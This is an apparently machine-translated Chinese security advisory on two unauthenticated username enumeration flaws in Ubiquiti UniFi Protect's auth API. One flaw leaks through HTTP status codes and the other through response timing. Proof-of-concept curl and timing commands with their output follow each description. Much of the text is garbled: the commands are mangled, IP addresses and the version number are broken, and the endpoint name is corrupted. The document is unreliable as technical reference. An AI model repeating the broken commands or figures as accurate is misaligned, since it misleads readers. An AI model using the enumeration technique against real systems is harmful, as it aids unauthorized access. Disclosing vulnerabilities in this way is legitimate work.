可点名发现Unifi保护 v113.3下两种用户名发现漏洞,允许远程非认证攻击者为Unifi保护网络应用发现有效用户名优先脆弱度允许攻击者通过检查服务器HTTP状态代码发现有效用户名,响应对API端点/api/ath的要求二级脆弱度允许攻击者通过检查服务器响应对api/ath端点请求的时序发现有效用户名
Ubiti Unifi保护用户名发现
CVSSv2基本分数:5.0
CVSS v2向量:(AV:N/AC:L/Au:N/C:P/I:N/A:N)
UbitiUnifi保护API包含缺陷,允许远程非认证攻击者通过检查服务器响应HTTP状态码发现Unifi保护Web应用有效用户名
验证请求发送到api/ath端点时,响应状态代码显示用户名有效与否如果用户名无效,服务器返回状态代码400,但如果用户名有效,则返回状态代码401攻击者可使用此缺陷为Unifi保护网络应用列举有效用户名,向API端点发送请求并任意使用用户名并审查每次响应状态代码
缺陷在于执行/usr/share/unifi-protect/app/server.js中的端点函数早期关联端点,无效用户名使函数返回报错响应,包括状态(400)函数下移三处,无效密码引出函数返回报错响应,包括每个案例的“status(401)”。状态代码使用前后不一允许攻击者区分有效用户名和无效用户名
========
概念证明
状态代码为400无效用户名
Untent-Type应用-json安全-XPST httpss/1921.68.30.6:7443/api/a
{ror':无效用户名或密码}400}
untent-Type应用-json安全-XPST httpss://1921.68.30.6:7443/api/a
{ror':无效用户名或密码}400}
$curl-H-Content-Type应用/json-nsecepte-XPST https://1921.68.30.6:7443/api/a
{ror':无效用户名或密码}400}
状态代码为401有效用户名
untent-Type应用-json安全-XPST httpss://1921.68.30.6:7443/api/a
{eror's:'无效用户名或密码'}401
Untent-Type应用-json安全-XPST httpss://1921.68.30.6:7443/api/a
{eror's:'无效用户名或密码'}401
POC脚本测试漏洞
https://github.com/tenable/poc/blob/master/Ubiquiti/UniFi_Protect/cve_2020_8213_unifi_protect_username_discovery.py
Ubiti Unifi保护用户名发现
CVSSv2基本分数:5.0
CVSS v2向量:(AV:N/AC:L/Au:N/C:P/I:N/A:N)
Unifi保护API包含缺陷,允许远程非认证攻击者通过检查服务器响应时间发现Unifi保护网络应用有效用户名验证请求发送到a/api/ath端点时,如果用户名有效,服务器响应时间要长得多攻击者可使用此缺陷为Unifi保护网络应用列举有效用户名,向API端点发送请求并任意使用名并检查服务器响应时推算用户名有效
具体地说,当用户名有效时服务器响应需要较长量级测试中服务器对无效用户名请求的响应以25-50毫秒接收,而服务器对有效用户名请求的响应以300-500毫秒接收
缺陷在于执行/usr/share/unifi-protect/app/server.js中的端点函数端点验证函数中的用户名,当用户名无效时立即返回错误“无效用户名或密码”。用户名有效并密码无效时,返回相同错误消息,但确定密码无效额外处理时间则反映在服务器响应时间中,允许攻击者区分有效用户名和无效用户名
========
概念证明
响应时间为25-50ms无效用户名
timecle-Type应用-json安全-xPST http://192168.30.6:7080/api/a
{ror's:'无效用户名或密码'}
实值0m0.025s
用户0m0.005s
ys0m0.005s
timecle-type应用-json-nsecle-xPST https/1921.68.30.6:7443/api/auth-d
{ror's:'无效用户名或密码'}
实值0m0.050s
用户0m0.010s
sys万元
timecle-Type应用-json安全-xPST http://192168.30.6:7080/api/a
{ror's:'无效用户名或密码'}
实值0m0.028s
用户0m0.005s
ys0m0.005s
响应时间为300-500ms有效用户名
timecle-type-nvr-admin-password-a
{ror's:'无效用户名或密码'}
实战0m0.331s
用户0m0.010s
ys0m0.001s
timecle-Type-nvr-user
{ror's:'无效用户名或密码'}
实值0m0.346s
用户0m0.006s
sys0m0.006s